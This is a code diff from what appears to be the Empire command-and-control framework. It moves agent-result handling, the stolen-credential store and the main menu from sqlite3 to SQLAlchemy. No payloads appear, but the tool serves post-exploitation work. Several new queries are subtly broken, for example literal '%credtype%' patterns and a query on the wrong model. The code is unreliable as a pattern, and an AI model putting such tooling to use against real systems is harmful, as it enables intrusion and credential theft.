2134 elif responseName == "TASK_VIEW_MODULE":
2135 self.update_agent_results_db(sessionID, data)
2136 #update the agent log
2137 self.save_agent_log(sessionID, data)
2138
2139 elif responseName == "TASK_REMOVE_MODULE":
2140 self.update_agent_results_db(sessionID, data)
2141 #update the agent log
2142 self.save_agent_log(sessionID, data)
2143
2144 elif responseName == "TASK_SCRIPT_COMMAND":
2145
2146 self.update_agent_results_db(sessionID, data)
1914 self.save_agent_log(session_id, data)
1915
1916 elif response_name == "TASK_VIEW_MODULE":
1917 self.update_agent_results_db(session_id, data)
21471918 # update the agent log
2148 self.save_agent_log(sessionID, data)
2149
2150 elif responseName == "TASK_SWITCH_LISTENER":
1919 self.save_agent_log(session_id, data)
1920
1921 elif response_name == "TASK_REMOVE_MODULE":
1922 self.update_agent_results_db(session_id, data)
1923 # update the agent log
1924 self.save_agent_log(session_id, data)
1925
1926 elif response_name == "TASK_SCRIPT_COMMAND":
1927
1928 self.update_agent_results_db(session_id, data)
1929 # update the agent log
1930 self.save_agent_log(session_id, data)
1931
1932 elif response_name == "TASK_SWITCH_LISTENER":
21511933 # update the agent listener
21521934 if isinstance(data, bytes):
21531935 data = data.decode('UTF-8')
21541936
21551937 listener_name = data[38:]
21561938
2157 self.update_agent_listener_db(sessionID, listener_name)
2158 self.update_agent_results_db(sessionID, data)
1939 self.update_agent_listener_db(session_id, listener_name)
1940 self.update_agent_results_db(session_id, data)
21591941 # update the agent log
2160 self.save_agent_log(sessionID, data)
2161 message = "[+] Updated comms for {} to {}".format(sessionID, listener_name)
1942 self.save_agent_log(session_id, data)
1943 message = "[+] Updated comms for {} to {}".format(session_id, listener_name)
21621944 signal = json.dumps({
21631945 'print': False,
21641946 'message': message
21651947 })
2166 dispatcher.send(signal, sender="agents/{}".format(sessionID))
2167
2168 elif responseName == "TASK_UPDATE_LISTENERNAME":
1948 dispatcher.send(signal, sender="agents/{}".format(session_id))
1949
1950 elif response_name == "TASK_UPDATE_LISTENERNAME":
21691951 # The agent listener name variable has been updated agent side
2170 self.update_agent_results_db(sessionID, data)
1952 self.update_agent_results_db(session_id, data)
21711953 # update the agent log
2172 self.save_agent_log(sessionID, data)
2173 message = "[+] Listener for '{}' updated to '{}'".format(sessionID, data)
1954 self.save_agent_log(session_id, data)
1955 message = "[+] Listener for '{}' updated to '{}'".format(session_id, data)
21741956 signal = json.dumps({
21751957 'print': False,
21761958 'message': message
21771959 })
2178 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1960 dispatcher.send(signal, sender="agents/{}".format(session_id))
21791961
21801962 else:
2181 print(helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID)))
1963 print(helpers.color("[!] Unknown response %s from %s" % (response_name, session_id)))
0 from typing import Dict
1
2 import yaml
3
4
5 class EmpireConfig(object):
6 def __init__(self):
7 self.yaml: Dict = {}
8 with open("./config.yaml", 'r') as stream:
9 try:
10 self.yaml = yaml.safe_load(stream)
11 except yaml.YAMLError as exc:
12 print(exc)
13 self.yaml = {}
14
15
16 empire_config = EmpireConfig()
1010 from builtins import object
1111 from . import helpers
1212 import os
13 # import sqlite3
13 from lib.database.base import Session
14 from lib.database import models
15 from sqlalchemy import or_, and_
16
1417
1518 class Credentials(object):
1619 """
1720 Class that handles interaction with the backend credential model
1821 (adding creds, displaying, etc.).
1922 """
23
2024 def __init__(self, MainMenu, args=None):
2125
2226 # pull out the controller objects
2327 self.mainMenu = MainMenu
24 self.conn = MainMenu.conn
2528 self.installPath = self.mainMenu.installPath
2629 self.args = args
2730
3033 # credtype = hash or plaintext
3134 # sid is stored for krbtgt
3235
33
3436 def is_credential_valid(self, credentialID):
3537 """
3638 Check if this credential ID is valid.
3739 """
38
39 cur = self.conn.cursor()
40 cur.execute('SELECT * FROM credentials WHERE id=? limit 1', [credentialID])
41 results = cur.fetchall()
42 cur.close()
40 results = Session().query(models.Credential).filter(models.Credential.id == credentialID).all()
4341 return len(results) > 0
4442
45
46 def get_credentials(self, filterTerm=None, credtype=None, note=None, os=None):
43 def get_credentials(self, filter_term=None, credtype=None, note=None, os=None):
4744 """
4845 Return credentials from the database.
4946
5148 Values are: hash, plaintext, and token.
5249 """
5350
54 cur = self.conn.cursor()
5551 # if we're returning a single credential by ID
56 if self.is_credential_valid(filterTerm):
57 cur.execute("SELECT * FROM credentials WHERE id=? limit 1", [filterTerm])
52 if self.is_credential_valid(filter_term):
53 results = Session().query(models.Credential).filter(models.Credential.id == filter_term).first()
5854
5955 # if we're filtering by host/username
60 elif filterTerm and filterTerm != '':
61 filterTerm = filterTerm.replace('*', '%')
62 cur.execute("SELECT * FROM credentials WHERE LOWER(domain) LIKE LOWER(?) or LOWER(username) like LOWER(?) or LOWER(host) like LOWER(?) or LOWER(password) like LOWER(?)", [filterTerm, filterTerm, filterTerm, filterTerm])
56 elif filter_term and filter_term != '':
57 filter_term = filter_term.replace('*', '%')
58 search = "%{}%".format(filter_term)
59 results = Session().query(models.Credential).filter(or_(models.Credential.domain.like(search),
60 models.Credential.username.like(search),
61 models.Credential.host.like(search),
62 models.Credential.password.like(search))).all()
6363
6464 # if we're filtering by credential type (hash, plaintext, token)
6565 elif credtype and credtype != "":
66 cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?)", [credtype])
66 results = Session().query(models.Credential).filter(models.Credential.credtype.ilike(f'%credtype%')).all()
6767
6868 # if we're filtering by content in the note field
6969 elif note and note != "":
70 cur.execute("SELECT * FROM credentials WHERE LOWER(note) LIKE LOWER(%?%)", [note])
70 search = "%{}%".format(note)
71 results = Session().query(models.Credential).filter(models.Credential.note.ilike(f'%search%')).all()
7172
7273 # if we're filtering by content in the OS field
7374 elif os and os != "":
74 cur.execute("SELECT * FROM credentials WHERE LOWER(os) LIKE LOWER(%?%)", [os])
75 search = "%{}%".format(os)
76 results = Session().query(models.Credential).filter(models.Credential.os.ilike('%search%')).all()
7577
7678 # otherwise return all credentials
7779 else:
78 cur.execute("SELECT * FROM credentials")
80 results = Session().query(models.Credential).all()
7981
80 results = cur.fetchall()
81 cur.close()
8282 return results
83
8483
8584 def get_krbtgt(self):
8685 """
8887 """
8988 return self.get_credentials(credtype="hash", filterTerm="krbtgt")
9089
91
9290 def add_credential(self, credtype, domain, username, password, host, os='', sid='', notes=''):
9391 """
9492 Add a credential with the specified information to the database.
9593 """
96 cur = self.conn.cursor()
97
98 cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?) AND LOWER(domain) LIKE LOWER(?) AND LOWER(username) LIKE LOWER(?) AND password LIKE ?", [credtype, domain, username, password])
99 results = cur.fetchall()
94 results = Session().query(models.Credential).filter(and_(models.Credential.credtype.like(credtype),
95 models.Credential.domain.like(domain),
96 models.Credential.username.like(username),
97 models.Credential.password.like(password))).all()
10098
10199 if results == []:
102 # only add the credential if the (credtype, domain, username, password) tuple doesn't already exist
103 cur.execute("INSERT INTO credentials (credtype, domain, username, password, host, os, sid, notes) VALUES (?,?,?,?,?,?,?,?)", [credtype, domain, username, password, host, os, sid, notes])
100 Session().add(models.Credential(credtype=credtype,
101 domain=domain,
102 username=username,
103 password=password,
104 host=host,
105 os=os,
106 sid=sid,
107 notes=notes))
104108
105 cur.close()
109 Session().commit()
106110
107
108 def add_credential_note(self, credentialID, note):
111 def add_credential_note(self, credential_id, note):
109112 """
110113 Update a note to a credential in the database.
111114 """
112 cur = self.conn.cursor()
113 cur.execute("UPDATE credentials SET note = ? WHERE id=?", [note, credentialID])
114 cur.close()
115
115 results = Session().query(models.Agent).filter(models.Credential.id == credential_id).first()
116 results.notes = note
117 Session().commit()
116118
117119 def remove_credentials(self, credIDs):
118120 """
119121 Removes a list of IDs from the database
120122 """
121123 for credID in credIDs:
122 cur = self.conn.cursor()
123 cur.execute("DELETE FROM credentials WHERE id=?", [credID])
124 cur.close()
125
124 cred_entry = Session().query(models.Credential).filter(models.Credential.id == credID).first()
125 Session().delete(cred_entry)
126 Session().commit()
126127
127128 def remove_all_credentials(self):
128129 """
129130 Remove all credentials from the database.
130131 """
131 cur = self.conn.cursor()
132 cur.execute("DELETE FROM credentials")
133 cur.close()
134
132 creds = Session().query(models.Credential).all()
133 for cred in creds:
134 Session().delete(cred)
135 Session().commit()
135136
136137 def export_credentials(self, export_path=''):
137138 """
1515 from builtins import str
1616 from typing import Optional
1717
18 from datetime import datetime, timezone
1819 from flask_socketio import SocketIO
1920
20 VERSION = "3.6.3 BC Security Fork"
21 VERSION = "3.7.0 BC Security Fork"
2122
2223 from pydispatch import dispatcher
2324
3435 import json
3536 import random
3637 import string
38 import time
3739
3840 # Empire imports
3941 from . import helpers
4749 from . import plugins
4850 from .events import log_event
4951 from zlib_wrapper import compress
52 from prompt_toolkit import PromptSession, HTML
53 from prompt_toolkit.completion import Completer
54 from prompt_toolkit.history import InMemoryHistory
55 from prompt_toolkit.patch_stdout import patch_stdout
56 from lib.database.base import Session
57 from lib.database import models
58 from sqlalchemy import or_, func, and_
5059
5160
5261 def xstr(s):
5463 if s is None:
5564 return ''
5665 return str(s)
66
5767
5868 # custom exceptions used for nested menu navigation
5969 class NavMain(Exception):
8292 The main class used by Empire to drive the 'main' menu
8393 displayed when Empire starts.
8494 """
95
8596 def __init__(self, args=None):
86
97
8798 cmd.Cmd.__init__(self)
88
99
89100 # set up the event handling system
90101 dispatcher.connect(self.handle_event, sender=dispatcher.Any)
91
102
92103 # globalOptions[optionName] = (value, required, description)
93104 self.globalOptions = {}
94
105
95106 # currently active plugins:
96107 # {'pluginName': classObject}
97108 self.loadedPlugins = {}
98
99 # empty database object
100 self.conn = self.database_connect()
109
101110 time.sleep(1)
102
111
103112 self.lock = threading.Lock()
113
104114 # pull out some common configuration information
105 (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
106
115 (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate,
116 self.obfuscateCommand) = helpers.get_config(
117 'rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
118
107119 # change the default prompt for the user
108120 self.prompt = '(Empire) > '
109121 self.do_help.__func__.__doc__ = '''Displays the help menu.'''
110122 self.doc_header = 'Commands'
111
123
112124 # Main, Agents, or
113125 self.menu_state = 'Main'
114
126
115127 # parse/handle any passed command line arguments
116128 self.args = args
117129 # instantiate the agents, listeners, and stagers objects
123135 self.users = users.Users(self)
124136 self.socketio: Optional[SocketIO] = None
125137 self.resourceQueue = []
126 #A hashtable of autruns based on agent language
138 # A hashtable of autruns based on agent language
127139 self.autoRuns = {}
128140 self.handle_args()
129141 self.startup_plugins()
130
142
131143 message = "[*] Empire starting up..."
132144 signal = json.dumps({
133145 'print': True,
134146 'message': message
135147 })
136148 dispatcher.send(signal, sender="empire")
137
149
138150 # print the loading menu
139151 messages.loading()
140
141 def get_db_connection(self):
142 """
143 Returns the
144 """
145 self.lock.acquire()
146 self.conn.row_factory = None
147 self.lock.release()
148 return self.conn
149
152
150153 def handle_event(self, signal, sender):
151154 """
152155 Whenver an event is received from the dispatcher, log it to the DB,
157160 try:
158161 signal_data = json.loads(signal)
159162 except ValueError:
160 print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))
163 print(helpers.color("[!] Error: bad signal received {} from sender {}".format(signal, sender)))
161164 return
162
163 # this should probably be set in the event itself but we can check
164 # here (and for most the time difference won't matter so it's fine)
165 if 'timestamp' not in signal_data:
166 signal_data['timestamp'] = helpers.getutcnow().isoformat()
167
165
168166 # if this is related to a task, set task_id; this is its own column in
169167 # the DB (else the column will be set to None/null)
170168 task_id = None
171169 if 'task_id' in signal_data:
172170 task_id = signal_data['task_id']
173
171
174172 if 'event_type' in signal_data:
175173 event_type = signal_data['event_type']
176174 else:
177175 event_type = 'dispatched_event'
178
179 event_data = json.dumps({'signal': signal_data, 'sender': sender})
180
176
181177 # print any signal that indicates we should
182 if('print' in signal_data and signal_data['print']):
178 if ('print' in signal_data and signal_data['print']):
183179 print(helpers.color(signal_data['message']))
184
180
185181 # get a db cursor, log this event to the DB, then close the cursor
186 cur = self.conn.cursor()
187182 # TODO instead of "dispatched_event" put something useful in the "event_type" column
188 log_event(cur, sender, event_type, json.dumps(signal_data), signal_data['timestamp'], task_id=task_id)
189 cur.close()
190
183 log_event(sender, event_type, json.dumps(signal_data), helpers.getutcnow(), task_id=task_id)
184
191185 # if --debug X is passed, log out all dispatcher signals
192186 if self.args.debug:
193187 with open('empire.debug', 'a') as debug_file:
194188 debug_file.write("%s %s : %s\n" % (helpers.get_datetime(), sender, signal))
195
189
196190 if self.args.debug == '2':
197191 # if --debug 2, also print the output to the screen
198192 print(" %s : %s" % (sender, signal))
208202 # (not all modules!) on the given path, in order to access the __path__
209203 # attribute to find submodules."
210204 plugin_names = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
211
205
212206 for plugin_name in plugin_names:
213207 if plugin_name.lower() != 'example':
214208 print(helpers.color("[*] Plugin {} found.".format(plugin_name)))
226220 Check if Empire has been run as root, and alert user.
227221 """
228222 try:
229
223
230224 if os.geteuid() != 0:
231225 if self.isroot:
232226 messages.title(VERSION)
233 print("[!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents!")
227 print(
228 "[!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents!")
234229 while True:
235230 a = input(helpers.color("[>] Are you sure you want to continue (y) or (n): "))
236231 if a.startswith("y"):
244239 if self.isroot:
245240 pass
246241 if not self.isroot:
247 cur = self.conn.cursor()
248 cur.execute("UPDATE config SET rootuser = 1")
249 cur.close()
242 config = Session().query(models.Config).all()
243 config.rootuser = True
244 Session().commit()
250245 except Exception as e:
251246 print(e)
252
253
247
254248 def handle_args(self):
255249 """
256250 Handle any passed arguments.
258252 if self.args.resource:
259253 resourceFile = self.args.resource[0]
260254 self.do_resource(resourceFile)
261
255
262256 if self.args.listener or self.args.stager:
263257 # if we're displaying listeners/stagers or generating a stager
264258 if self.args.listener:
265259 if self.args.listener == 'list':
266260 messages.display_listeners(self.listeners.activeListeners)
267261 messages.display_listeners(self.listeners.get_inactive_listeners(), "Inactive")
268
262
269263 else:
270264 activeListeners = self.listeners.activeListeners
271265 targetListener = [l for l in activeListeners if self.args.listener in l[1]]
272
266
273267 if targetListener:
274268 targetListener = targetListener[0]
275269 # messages.display_listener_database(targetListener)
276270 # TODO: reimplement this logic
277271 else:
278272 print(helpers.color("\n[!] No active listeners with name '%s'\n" % (self.args.listener)))
279
273
280274 else:
281275 if self.args.stager == 'list':
282276 print("\nStagers:\n")
290284 try:
291285 targetStager = self.stagers.stagers[stagerName]
292286 menu = StagerMenu(self, stagerName)
293
287
294288 if self.args.stager_options:
295289 for option in self.args.stager_options:
296290 if '=' not in option:
297291 print(helpers.color("\n[!] Invalid option: '%s'" % (option)))
298292 print(helpers.color("[!] Please use Option=Value format\n"))
299 if self.conn:
300 self.conn.close()
301293 sys.exit()
302
294
303295 # split the passed stager options by = and set the appropriate option
304296 optionName, optionValue = option.split('=')
305297 menu.do_set("%s %s" % (optionName, optionValue))
306
298
307299 # generate the stager
308300 menu.do_generate('')
309301 else:
310302 messages.display_stager(targetStager)
311
303
312304 except Exception as e:
313305 print(e)
314306 print(helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName)))
316308 # Gracefully shutdown after launcher generation
317309 self.shutdown()
318310 sys.exit()
319
320
311
321312 def shutdown(self):
322313 """
323314 Perform any shutdown actions.
324315 """
325316 print("\n" + helpers.color("[!] Shutting down..."))
326
317
327318 message = "[*] Empire shutting down..."
328319 signal = json.dumps({
329320 'print': True,
330321 'message': message
331322 })
332323 dispatcher.send(signal, sender="empire")
333
324
334325 # enumerate all active servers/listeners and shut them down
335326 self.listeners.shutdown_listener('all')
336327
343334 for plugin in self.loadedPlugins:
344335 self.loadedPlugins[plugin].shutdown()
345336
346 def database_connect(self):
347 """
348 Connect to the default database at ./data/empire.db.
349 """
350 try:
351 # set the database connection to autocommit w/ isolation level
352 self.conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
353 self.conn.text_factory = str
354 self.conn.isolation_level = None
355 return self.conn
356
357 except Exception:
358 print(helpers.color("[!] Could not connect to database"))
359 print(helpers.color("[!] Please run database_setup.py"))
360 sys.exit()
361
362337 def cmdloop(self):
363338 """
364339 The main cmdloop logic that handles navigation to other menus.
372347 else:
373348 # display the main title
374349 messages.title(VERSION)
375
350
376351 # get active listeners, agents, and loaded modules
377352 num_agents = self.agents.get_agents_db()
378353 if num_agents:
379354 num_agents = len(num_agents)
380355 else:
381356 num_agents = 0
382
357
383358 num_modules = self.modules.modules
384359 if num_modules:
385360 num_modules = len(num_modules)
386361 else:
387362 num_modules = 0
388
363
389364 num_listeners = self.listeners.activeListeners
390365 if num_listeners:
391366 num_listeners = len(num_listeners)
392367 else:
393368 num_listeners = 0
394
369
395370 print(" " + helpers.color(str(num_modules), "green") + " modules currently loaded\n")
396371 print(" " + helpers.color(str(num_listeners), "green") + " listeners currently active\n")
397372 print(" " + helpers.color(str(num_agents), "green") + " agents currently active\n\n")
398
373
399374 if len(self.resourceQueue) > 0:
400375 self.cmdqueue.append(self.resourceQueue.pop(0))
401
376
402377 cmd.Cmd.cmdloop(self)
403
404
378
379
405380 # handle those pesky ctrl+c's
406381 except KeyboardInterrupt as e:
407382 self.menu_state = "Main"
414389 continue
415390 except KeyboardInterrupt as e:
416391 continue
417
392
418393 # exception used to signal jumping to "Main" menu
419394 except NavMain as e:
420395 self.menu_state = "Main"
421
396
422397 # exception used to signal jumping to "Agents" menu
423398 except NavAgents as e:
424399 self.menu_state = "Agents"
425
400
426401 # exception used to signal jumping to "Listeners" menu
427402 except NavListeners as e:
428403 self.menu_state = "Listeners"
429
404
430405 except Exception as e:
431406 print(helpers.color("[!] Exception: %s" % (e)))
432407 time.sleep(5)
433
434
408
409 def info(self):
410 """
411 The main cmdloop logic that handles navigation to other menus.
412 """
413 session = PromptSession(
414 complete_in_thread=True,
415 bottom_toolbar=self.bottom_toolbar,
416 refresh_interval=5
417 )
418
419 while True:
420 try:
421 # get active listeners, agents, and loaded modules
422 num_agents = len(self.agents.get_agents_db() or [])
423
424 num_modules = self.modules.modules
425 if num_modules:
426 num_modules = len(num_modules)
427 else:
428 num_modules = 0
429
430 num_listeners = self.listeners.activeListeners
431 if num_listeners:
432 num_listeners = len(num_listeners)
433 else:
434 num_listeners = 0
435
436 messages.headless_title(VERSION, num_modules, num_listeners, num_agents)
437
438 with patch_stdout():
439 text = session.prompt('Empire > ', refresh_interval=None)
440 print(helpers.color('[!] Type exit to quit'))
441 except KeyboardInterrupt:
442 print(helpers.color("[!] Type exit to quit"))
443 continue # Control-C pressed. Try again.
444 except EOFError:
445 break # Control-D pressed.
446
447 if text == 'exit':
448 choice = input(helpers.color("[>] Exit? [y/N] ", "red"))
449 if choice.lower() == "y":
450 self.shutdown()
451 return True
452 else:
453 pass
454
455 def bottom_toolbar(self):
456 return HTML(f'EMPIRE TEAM SERVER | ' +
457 str(len(self.agents.agents)) + ' Agents | ' +
458 str(len(self.listeners.activeListeners)) + ' Listeners | ' +
459 str(len(self.loadedPlugins)) + ' Plugins')
460
435461 def print_topics(self, header, commands, cmdlen, maxcol):
436462 """
437463 Print a nicely formatted help menu.
444470 for command in commands:
445471 self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
446472 self.stdout.write("\n")
447
448
473
449474 def emptyline(self):
450475 """
451476 If any empty line is entered, do nothing.
452477 """
453478 pass
454
479
455480 ###################################################
456481 # CMD methods
457482 ###################################################
458
483
459484 def do_plugins(self, args):
460485 "List all available and active plugins."
461486 pluginPath = os.path.abspath("plugins")
465490 # attribute to find submodules."
466491 pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
467492 numFound = len(pluginNames)
468
493
469494 # say how many we found, handling the 1 case
470495 if numFound == 1:
471496 print(helpers.color("[*] {} plugin found".format(numFound)))
472497 else:
473498 print(helpers.color("[*] {} plugins found".format(numFound)))
474
499
475500 # if we found any, list them
476501 if numFound > 0:
477502 print("\tName\tActive")
482507 if name in activePlugins:
483508 active = "******"
484509 print("\t" + name + "\t" + active)
485
510
486511 print("")
487512 print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
488
513
489514 def do_plugin(self, pluginName):
490515 "Load a plugin file to extend Empire."
491516 pluginPath = os.path.abspath("plugins")
496521 pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
497522 if pluginName in pluginNames:
498523 print(helpers.color("[*] Plugin {} found.".format(pluginName)))
499
524
500525 message = "[*] Loading plugin {}".format(pluginName)
501526 signal = json.dumps({
502527 'print': True,
503528 'message': message
504529 })
505530 dispatcher.send(signal, sender="empire")
506
531
507532 # 'self' is the mainMenu object
508533 plugins.load_plugin(self, pluginName)
509534 else:
510535 raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
511
536
512537 def postcmd(self, stop, line):
513538 if len(self.resourceQueue) > 0:
514539 nextcmd = self.resourceQueue.pop(0)
515540 self.cmdqueue.append(nextcmd)
516
541
517542 def default(self, line):
518543 "Default handler."
519544 pass
520
545
521546 def do_resource(self, arg):
522547 "Read and execute a list of Empire commands from a file."
523548 self.resourceQueue.extend(self.buildQueue(arg))
524
549
525550 def buildQueue(self, resourceFile, autoRun=False):
526551 cmds = []
527552 if os.path.isfile(resourceFile):
532557 raise Exception("[!] Error: The resource file specified \"%s\" does not exist" % resourceFile)
533558 for lineFull in lines:
534559 line = lineFull.strip()
535 #ignore lines that start with the comment symbol (#)
560 # ignore lines that start with the comment symbol (#)
536561 if line.startswith("#"):
537562 continue
538 #read in another resource file
563 # read in another resource file
539564 elif line.startswith("resource "):
540565 rf = line.split(' ')[1]
541566 cmds.extend(self.buildQueue(rf, autoRun))
542 #add noprompt option to execute without user confirmation
567 # add noprompt option to execute without user confirmation
543568 elif autoRun and line == "execute":
544569 cmds.append(line + " noprompt")
545570 else:
546571 cmds.append(line)
547
572
548573 return cmds
549
574
550575 def do_exit(self, line):
551576 "Exit Empire"
552577 raise KeyboardInterrupt
553
554
578
555579 def do_agents(self, line):
556580 "Jump to the Agents menu."
557581 try:
559583 agents_menu.cmdloop()
560584 except Exception as e:
561585 raise e
562
563
586
564587 def do_listeners(self, line):
565588 "Interact with active listeners."
566589 try:
568591 listener_menu.cmdloop()
569592 except Exception as e:
570593 raise e
571
594
572595 def do_uselistener(self, line):
573596 "Use an Empire listener module."
574597 parts = line.split(' ')
581604
582605 def do_usestager(self, line):
583606 "Use an Empire stager."
584
607
585608 try:
586609 parts = line.split(' ')
587
610
588611 if parts[0] not in self.stagers.stagers:
589612 print(helpers.color("[!] Error: invalid stager module"))
590
613
591614 elif len(parts) == 1:
592615 stager_menu = StagerMenu(self, parts[0])
593616 stager_menu.cmdloop()
603626 print(helpers.color("[!] Error in MainMenu's do_userstager()"))
604627 except Exception as e:
605628 raise e
606
607
629
608630 def do_usemodule(self, line):
609631 "Use an Empire module."
610632 # Strip asterisks added by MainMenu.complete_usemodule()
617639 module_menu.cmdloop()
618640 except Exception as e:
619641 raise e
620
621
642
622643 def do_searchmodule(self, line):
623644 "Search Empire module names/descriptions."
624645 self.modules.search_modules(line.strip())
625
626
646
627647 def do_creds(self, line):
628648 "Add/display credentials to/from the database."
629
649
630650 filterTerm = line.strip()
631
651
632652 if filterTerm == "":
633653 creds = self.credentials.get_credentials()
634
654
635655 elif shlex.split(filterTerm)[0].lower() == "add":
636
656
637657 # add format: "domain username password <notes> <credType> <sid>
638658 args = shlex.split(filterTerm)[1:]
639
659
640660 if len(args) == 3:
641661 domain, username, password = args
642662 if helpers.validate_ntlm(password):
644664 self.credentials.add_credential("hash", domain, username, password, "")
645665 else:
646666 self.credentials.add_credential("plaintext", domain, username, password, "")
647
667
648668 elif len(args) == 4:
649669 domain, username, password, notes = args
650670 if helpers.validate_ntlm(password):
651671 self.credentials.add_credential("hash", domain, username, password, "", notes=notes)
652672 else:
653673 self.credentials.add_credential("plaintext", domain, username, password, "", notes=notes)
654
674
655675 elif len(args) == 5:
656676 domain, username, password, notes, credType = args
657677 self.credentials.add_credential(credType, domain, username, password, "", notes=notes)
658
678
659679 elif len(args) == 6:
660680 domain, username, password, notes, credType, sid = args
661681 self.credentials.add_credential(credType, domain, username, password, "", sid=sid, notes=notes)
662
682
663683 else:
664684 print(helpers.color("[!] Format is 'add domain username password <notes> <credType> <sid>"))
665685 return
666
686
667687 creds = self.credentials.get_credentials()
668
688
669689 elif shlex.split(filterTerm)[0].lower() == "remove":
670
690
671691 try:
672692 args = shlex.split(filterTerm)[1:]
673693 if len(args) != 1:
687707 self.credentials.remove_credentials(credIDs)
688708 else:
689709 self.credentials.remove_credentials(args)
690
710
691711 except Exception:
692712 print(helpers.color("[!] Error in remove command parsing."))
693713 print(helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'"))
694
714
695715 return
696
697
716
717
698718 elif shlex.split(filterTerm)[0].lower() == "export":
699719 args = shlex.split(filterTerm)[1:]
700
720
701721 if len(args) != 1:
702722 print(helpers.color("[!] Please supply an output filename/filepath."))
703723 return
704724 else:
705725 self.credentials.export_credentials(args[0])
706726 return
707
727
708728 elif shlex.split(filterTerm)[0].lower() == "plaintext":
709729 creds = self.credentials.get_credentials(credtype="plaintext")
710
730
711731 elif shlex.split(filterTerm)[0].lower() == "hash":
712732 creds = self.credentials.get_credentials(credtype="hash")
713
733
714734 elif shlex.split(filterTerm)[0].lower() == "krbtgt":
715735 creds = self.credentials.get_krbtgt()
716
736
717737 else:
718738 creds = self.credentials.get_credentials(filterTerm=filterTerm)
719739
720740 messages.display_credentials(creds)
721
722
741
723742 def do_set(self, line):
724743 "Set a global option (e.g. IP whitelists)."
725
744
726745 parts = line.split(' ')
727746 if len(parts) == 1:
728747 print(helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path."))
752771 elif parts[0].lower() == "obfuscate":
753772 if parts[1].lower() == "true":
754773 if not helpers.is_powershell_installed():
755 print(helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
774 print(helpers.color(
775 "[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
756776 else:
757777 self.obfuscate = True
758778 print(helpers.color("[!] Warning: Obfuscate is not compatible with Keyword Obfuscation"))
762782 'message': message
763783 })
764784 dispatcher.send(signal, sender="empire")
765
785
766786 elif parts[1].lower() == "false":
767787 self.obfuscate = False
768
788
769789 message = "[*] Future powershell commands run on all agents will not be obfuscated."
770790 signal = json.dumps({
771791 'print': True,
772792 'message': message
773793 })
774794 dispatcher.send(signal, sender="empire")
775
795
776796 else:
777797 print(helpers.color("[!] Valid options for obfuscate are 'true' or 'false'"))
778798 elif parts[0].lower() == "obfuscate_command":
779799 self.obfuscateCommand = parts[1]
780800 else:
781 print(helpers.color("[!] Please choose 'ip_whitelist', 'ip_blacklist', 'obfuscate', or 'obfuscate_command'"))
782
783
801 print(helpers.color(
802 "[!] Please choose 'ip_whitelist', 'ip_blacklist', 'obfuscate', or 'obfuscate_command'"))
803
784804 def do_reset(self, line):
785805 "Reset a global option (e.g. IP whitelists)."
786
806
787807 if line.strip().lower() == "ip_whitelist":
788808 self.agents.ipWhiteList = None
789809 if line.strip().lower() == "ip_blacklist":
790810 self.agents.ipBlackList = None
791
792
811
793812 def do_show(self, line):
794813 "Show a global option (e.g. IP whitelists)."
795
814
796815 if line.strip().lower() == "ip_whitelist":
797816 print(self.agents.ipWhiteList)
798817 if line.strip().lower() == "ip_blacklist":
801820 print(self.obfuscate)
802821 if line.strip().lower() == "obfuscate_command":
803822 print(self.obfuscateCommand)
804
805
823
806824 def do_load(self, line):
807825 "Loads Empire modules from a non-standard folder."
808
826
809827 if line.strip() == '' or not os.path.isdir(line.strip()):
810828 print(helpers.color("[!] Please specify a valid folder to load modules from."))
811829 else:
812830 self.modules.load_modules(rootPath=line.strip())
813
814
831
815832 def do_reload(self, line):
816833 "Reload one (or all) Empire modules."
817
834
818835 if line.strip().lower() == "all":
819836 # reload all modules
820837 print("\n" + helpers.color("[*] Reloading all modules.") + "\n")
828845 else:
829846 print("\n" + helpers.color("[*] Reloading module: " + line) + "\n")
830847 self.modules.reload_module(line)
831
848
832849 def do_keyword(self, line):
833 "Add keyword to database for obfuscation"
850 """
851 Add keyword to database for obfuscation
852 """
834853 parts = line.split(' ')
835
836 conn = self.get_db_connection()
837 self.lock.acquire()
838 cur = conn.cursor()
839854
840855 if 1 <= len(parts) < 3:
841856
844859 parts.append(random.choice(string.ascii_uppercase) + ''.join(
845860 random.choice(string.ascii_uppercase + string.digits) for _ in range(4)))
846861
847 cur.execute("INSERT INTO functions VALUES(?,?)", (parts[0], parts[1]))
848 cur.close()
849 self.lock.release()
862 Session().add(models.Function(keyword=parts[0],
863 replacement=parts[1]))
864 Session().commit()
865 print(helpers.color("[+] " + parts[0] + " replaced with " + parts[1]))
866
850867 except Exception:
851 print(helpers.color("couldn't connect to Database"))
852 else:
853 print(helpers.color("[!]Error: Entry must be a keyword or keyword and replacement string"))
868 print(helpers.color("[!] Error: Couldn't connect to Database"))
869 else:
870 print(helpers.color("[!] Error: Entry must be a keyword or keyword and replacement string"))
854871
855872 def do_list(self, line):
856 "Lists active agents or listeners."
857
873 """
874 Lists active agents or listeners.
875 """
876
858877 parts = line.split(' ')
859
878
860879 if parts[0].lower() == 'agents':
861
880
862881 line = ' '.join(parts[1:])
863 allAgents = self.agents.get_agents_db()
864
882 all_agents = Session().query(models.Agent).all()
883
865884 if line.strip().lower() == 'stale':
866
885
867886 agentsToDisplay = []
868
869 for agent in allAgents:
